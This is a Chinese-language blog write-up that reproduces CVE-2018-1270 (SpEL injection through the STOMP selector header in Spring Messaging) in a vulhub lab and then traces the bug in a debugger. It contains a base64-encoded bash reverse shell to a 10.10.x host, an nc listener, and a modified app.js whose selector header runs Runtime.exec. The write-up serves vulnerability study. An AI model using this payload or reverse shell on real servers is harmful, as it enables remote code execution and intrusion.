記一次曲折的CVE-2018-1270復現分析

 前言

 前兩天接到朋友對某個授權目標的漏掃結果,也算是初次接觸到這個漏洞,就想著順手分析一下復現一下,因為分析這個漏洞的文章也比較少,所以剛開始比較迷,進度也比較慢。

 漏洞復現

 使用vulhub搭建環境,下載vulhub

git clone //github.com/vulhub/vulhub.git

 spring目錄下有docker鏡像直接啟起來

sudo docker-compose up -d

image-20220310111728057.png

 訪問8080埠即可查看

image-20220310111549375.png

 環境搭建ok,其實這裡使用構造的payload不知道為什麼不可以,稍後嘗試,先使用exp去執行,在環境中剛好有exp,我們只需要修改目標ip

image-20220310175251208.png

 修改執行的命令

image-20220310175911765.png

 執行EXP

image-20220311095516295.png

 進入docker容器查看是否成功生成數據

ocker exec -it 1f699e14e /bin/bash

image-20220311095617624.png

 驗證EXP成功利用,這裡嘗試一下反彈shell,在另一台終端監聽一個埠

nc -lvp 9999

 修改EXP

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

image-20220311105532391.png

image-20220311105612142.png

 得到容器的shell

image-20220311105727135.png

 由於在線編碼的平台不能使用,所以需要自己做一下base64的編碼然後再解碼,但是這裡為什麼直接反彈的shell不能夠執行呢?

 是因為管道符、輸入輸出重定向,只有在bash環境下才能用。由於項目環境為Java環境不支援管道符、輸入輸出重定向等。重定向和管道符的使用方式在正在啟動的進程的中沒有意義。例如ls > 1.txt 在shell中執行為將當前目錄的列表輸出到命名為 1.txt 。但是在 exec() 函數的中,該命令為解釋為獲取 > 和 1.txt 目錄的列表。

 下載源碼

wget //github.com/spring-guides/gs-messaging-stomp-websocket.git

 新建項目導入pom.xml文件搭建環境,配置配置文件

image-20220311152017412.png

 運行本地已搭建

image-20220311152136724.png

//127.0.0.1:8080/

image-20220311152050999.png

 本地搭建目的是方便調試。

 修改程式碼位置

src->main->resources->static->app.js

 修改connect方法

function connect() {
  var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
  var socket = new SockJS('/gs-guide-websocket');
  stompClient = Stomp.over(socket);
  stompClient.connect({}, function (frame) {
      setConnected(true);
      console.log('Connected: ' + frame);
      stompClient.subscribe('/topic/greetings', function (greeting) {
          showGreeting(JSON.parse(greeting.body).content);
      },header);
  });
}

 保存後重新運行,Websocket連接,send發送任意資訊即可觸發calc.exe

image-20220311155506202.png

 分析

 本地windows的觸發條件更能清楚的理解,exec中程式碼執行的條件是由於建立socket通訊之後發送資訊的時候觸發的,這裡通過下斷點來調試

 首先先了解幾個概念,沒有java框架開發經驗的話確實很讓人頭疼,SpEL表達式,是Spring表達式的簡寫,能夠以一種強大而簡潔的方式將值裝配到Bean屬性和構造器參數中,在這個過程中所使用的表達式會在運行時計算得到值。簡單理解就是利用簡單的表達形式來實現操作。

 SpEL支援如下表達式:

  • 基本表達式:字面量表達式、關係,邏輯與算數運算表達式、字元串連接及截取表達式、三目運算及Elivis表達式、正則表達式、括弧優先順序表達式;

  • 類相關表達式:類類型表達式、類實例化、instanceof表達式、變數定義及引用、賦值表達式、自定義函數、對象屬性存取及安全導航表達式、對象方法調用、Bean引用;

  • 集合相關表達式:內聯List、內聯數組、集合,字典訪問、列表,字典,數組修改、集合投影、集合選擇;不支援多維內聯數組初始化;不支援內聯字典定義;

  • 其他表達式:模板表達式。

 STOMP協議

 STOMP是一個簡單的可互操作的基於幀的協議, 作用於中間伺服器在客戶端之間進行非同步消息傳遞,STOMP協議基於TCP協議,類似於HTTP協議,使用了以下命令:

CONNECT
SEND
SUBSCRIBE
UNSUBSCRIBE
BEGIN
COMMIT
ABORT
ACK
NACK
DISCONNECT

Ctrl+N

 根據披露的漏洞位置,直接搜索問題類DefaultSubscriptionRegistry

image-20220314165820979.png

image-20220314143519630.png

 在Protected屬性addSubscriptionInternal方法中,定義了selectorHeaderInUse的屬性為true

image-20220314180254754.png

 95行的時候把四個參數,sessinId,subsId,destination(訂閱地址(“/topic/greetings”)以及expression添加進subscriptionRegistry屬性中。

 app.js修改的程式碼位置為

var header = {“selector”:”T(java.lang.Runtime).getRuntime().exec(‘calc.exe’)”};

image-20220314175840528.png

 private屬性中的filterSubscriptions方法在什麼時候會觸發呢?下斷點調試會發現,在send發送資訊的時候會傳入message參數,這個時候就會調用前端傳入的selector構造的內容即SpEL表達式的內容,從第二種的復現方式來看就是這樣的,但是在調試的時候正常的利用是首先觸發

image-20220315110228766.png

 118行調用findSubscriptionsInternal函數

image-20220315110446101.png

ctrl+N向上查找函數

image-20220315110556004.png

 在AbstractSubscriptionRegistry類中找到了在滿足else的時候調用了findSubscriptionsInternal函數,可能在這裡也許有師傅有點困惑,在這裡我們需要明白的是參數destination(訂閱地址)和參數message(含有SpEL表達式即payload)的內容。

 但是這裡有個疑問,那麼哪裡利用到了STOMP協議的內容呢?

 上文提到了STOMP協議的命令,裡面涉及到的SUBSCRIBE命令,在SUBSCRIBE命令下selector頭值會作為表達式存儲,在實現addSubscriptionInternal方法的方法生成sessionID的時候表達式已經實現了存儲。

 這個時候就很明顯了,seesionid的生成就涉及到了websocket實現客戶端和伺服器之間的交互

image-20220315112137940.png

 到這裡分析就結束了,但是函數調用以及漏洞觸發的原因已經分析的比較清楚了。

 小結

 Java的東西忘記的差不多了,IDEA的快捷鍵都給忘了,突然分析起來很頭大,可參考的內容也比較少,走的坑也比較多吧,有問題的地方歡迎師傅們指正。

 參考文章

//mp.weixin.qq.com/s/9ZHopkDK8aVzFPrSOEgOVg

//mp.weixin.qq.com/s/K56p8PkyrxmsZ1holFbh2Q

//www.jianshu.com/p/ae3922db1f70 

更多靶場實驗練習、網安學習資料,請點擊這裡>>